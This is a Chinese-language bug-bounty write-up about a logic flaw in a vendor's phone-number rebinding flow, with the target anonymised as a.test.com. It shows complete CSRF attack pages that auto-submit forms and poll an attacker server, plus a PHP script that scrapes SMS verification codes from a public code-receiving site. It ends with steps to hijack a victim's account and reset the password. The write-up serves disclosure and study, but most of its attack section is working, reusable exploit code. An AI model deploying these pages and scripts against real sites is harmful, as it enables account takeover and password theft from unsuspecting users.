0x01 漏洞描述

  1. 网站铭感操作没有添加csrf_token
  2. 并且手机绑定流程可被绕过
  3. 用户可被钓鱼修改手机号码,从而导致用户密码给重置

0x02 漏洞讲解

功能点: 用户手机号码修改

正常的绑定流程:

  1. 用户点击修改手机号码
  2. 自动向原手机号码发送短信
  3. 用户输入原手机接收到的短信验证码
  4. 确定正确以后,后端设置一个用于绑定新手机的session
  5. 然后跳转/打开绑定手机的窗口
  6. 用户输入新手机号码
  7. 获取新手机号码验证码
  8. 用户提交验证码
  9. 后端先判断是否通过了原手机验证,然后在验证现手机号码是否正确
  10. 如果通过则修改当前用户手机号码

该厂商绑定流程

  1. 用户点击修改手机号码
  2. 自动向手机号码发送短信
  3. 用户输入原手机接收到的短信验证码
  4. 确定正确以后直接跳转绑定手机的窗口
  5. 用户输入新手机号码
  6. 获取新手机号码验证码
  7. 用户提交验证码
  8. 后端判断现手机号码是否正确
  9. 如果通过则修改当前用户手机号码

通过我这个简单的梳理可以看到
厂商没有在绑定新手机号时在次验证一次原手机号码是否通过,导致我们可以直接调用绑定手机号码的接口,而忽略验证接口,最终导致用户给修改了手机号码

0x03 漏洞简单演示

注: 文章中的项目地址统一修改为: a.test.com 保护厂商也保护自己

整个绑定过程中有3个接口分别是
https://a.test.com/user/info/send_code 发送短信的接口
https://a.test.com/user/info/check_bind_phone 验证原手机号码是否正确的接口
https://a.test.com/user/info/modify_bind_phone 绑定新手机号码的接口

值得一提的是这个站点所有的验证码都是 https://a.test.com/user/info/send_code 这个接口
所以其实存在大量的短信验证码覆盖问题
例如说:
绑定手机获取的验证码可以用在手机找回处

好了多的不说了

漏洞挖掘之众测厂商绑定手机处逻辑漏洞-可导致用户密码给修改 - 图1
我们可以直接写一个脚本

攻击方:
准备一台外网服务器:127.0.0.1

创建页面一: send_code.html

  1. <!DOCTYPE html>
  2. <html lang="en">
  3. <head>
  4. <meta charset="UTF-8">
  5. <meta name="viewport" content="width=device-width, initial-scale=1.0">
  6. <meta http-equiv="X-UA-Compatible" content="ie=edge">
  7. <title>点我发送验证码~</title>
  8. <script src="http://libs.baidu.com/jquery/2.0.0/jquery.min.js"></script>
  9. <script src="http://cdn.bootcss.com/jquery-cookie/1.4.1/jquery.cookie.min.js"></script>
  10. </head>
  11. <body>
  12. <form action="https://a.test.com/user/info/send_code" method="post">
  13. <input type="hidden" value="17157727034" name="mobile">
  14. <input type="submit" name="小帅哥快来玩啊" id="send_code" style="display:none;">
  15. </form>
  16. </body>
  17. </html>
  18. <script>
  19. if ($.cookie('csrf_test') != 'ok') {
  20. $.cookie('csrf_test', 'ok');
  21. $("#send_code").click(function () {
  22. window.open("http://127.0.0.1/modify_bind_phone.html");
  23. });
  24. $("#send_code").click();
  25. } else {
  26. $.cookie('csrf_test', null);
  27. window.opener = null;
  28. // JS重写当前页面
  29. window.open("", "_self", "");
  30. // 顺理成章的关闭当前被重写的窗口
  31. window.close();
  32. }
  33. </script>

创建页面二: modify_bind_phone.html

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="UTF-8" />
  5. <meta name="viewport" content="width=device-width, initial-scale=1.0" />
  6. <meta http-equiv="X-UA-Compatible" content="ie=edge" />
  7. <title>我~修改你绑定手机号码</title>
  8. <script src="http://libs.baidu.com/jquery/2.0.0/jquery.min.js"></script>
  9. </head>
  10. <body>
  11. <form action="https://a.test.com/user/info/modify_bind_phone" method="post">
  12. <input type="hidden" value="17157727034" name="mobile" />
  13. <input type="hidden" value="" name="code" id="code" />
  14. <input type="submit" name="点我瞬间爆炸" style="display:none;" id="modify_bind_phone" />
  15. </form>
  16. <script>
  17. i = 1
  18. setInterval(function(){
  19. $.ajax({
  20. type: "GET",
  21. url: "http://127.0.0.1/file_get.php",
  22. dataType: "json",
  23. data: {},
  24. success: function(data){
  25. if (data != false) {
  26. $('#code').val(data)
  27. code = $('#code').val()
  28. if (code !== '') {
  29. $("#modify_bind_phone").click()
  30. }
  31. }
  32. },
  33. error: function(){
  34. alert("我。。。可能不行了")
  35. }
  36. })
  37. console.log('第'+i+'次执行')
  38. i++
  39. },500)
  40. </script>
  41. </body>
  42. </html>

创建php脚本获取验证码: file_get.php

  1. <?php
  2. function curlRequest($url) {
  3. $curl = curl_init();
  4. //设置抓取的url
  5. curl_setopt($curl, CURLOPT_URL, $url);
  6. //设置头文件的信息作为数据流输出
  7. curl_setopt($curl, CURLOPT_HEADER, 0);
  8. //设置获取的信息以文件流的形式返回,而不是直接输出。
  9. curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  10. //重要!
  11. curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE); // https请求 不验证证书和hosts
  12. curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, FALSE);
  13. curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"); //模拟浏览器代理
  14. //执行命令
  15. $data = curl_exec($curl);
  16. //关闭URL请求
  17. curl_close($curl);
  18. return $data;
  19. }
  20. /**
  21. * 模糊搜索数组
  22. * $data 数组
  23. * $key 匹配字符串
  24. *
  25. */
  26. function arrlikes($data, $key) {
  27. $arr = array();
  28. foreach ($data as $k => $v) {
  29. if (strstr($v, $key) !== false) {
  30. array_push($arr, $v);
  31. }
  32. }
  33. return $arr;
  34. }
  35. $content = curlRequest('https://www.pdflibr.com/SMSContent/48');
  36. preg_match_all('/<td>(.*?)<\/td>/', $content, $match);
  37. foreach ($match[0] as $key => $value) {
  38. if (($key + 1) % 3 == 0) {
  39. $arr[] = $value;
  40. }
  41. }
  42. $data = arrlikes($arr, '【我是厂商】您的验证码是:');
  43. $data = $data[0];
  44. $data = str_replace('<td> 【我是厂商】您的验证码是:', '', $data);
  45. $data = str_replace('。有效期10分钟,请勿泄露给他人! </td>', '', $data);
  46. if ($data === '') {
  47. echo 'false';
  48. } else {
  49. echo trim($data);
  50. }

设置好这3个以后发送链接给受害者:http://127.0.0.1/send_code.html
受害者打开,代码执行
image.png

需要注意的是: 这里我使用了免费的在线接码平台https://www.pdflibr.com
帮我接码其中绑定的手机是: 17157727034
image.png

然后攻击者通过找回密码的功能即可重置用户密码
image.png
最终使用账号: 17157727034 加上刚刚重置的密码即可登录

0x04 脚本思路讲解

我的思路很简单就是先发给用户一个url: http://127.0.0.1/send_code.html
当用户打开的时候
这个html会干两件事情

  1. 自动打开一个新界面: http://127.0.0.1/csrf/modify_bind_phone.html
  2. 模拟点击事件调用厂商平台获取绑定手机验证码的接口

接着被打开的界面: modify_bind_phone.html
也会干两件事

  1. 死循环每0.5S请求接口: http://127.0.0.1/csrf/file_get.php 查看是否获取到了验证码
  2. 当获取到验证码时模拟点击事件发送绑定新手机号码的请求

最终用户即可点击我们的一个链接就给强制绑定一个新手机号码,然后我们就可以通过找回密码,重置用户登录密码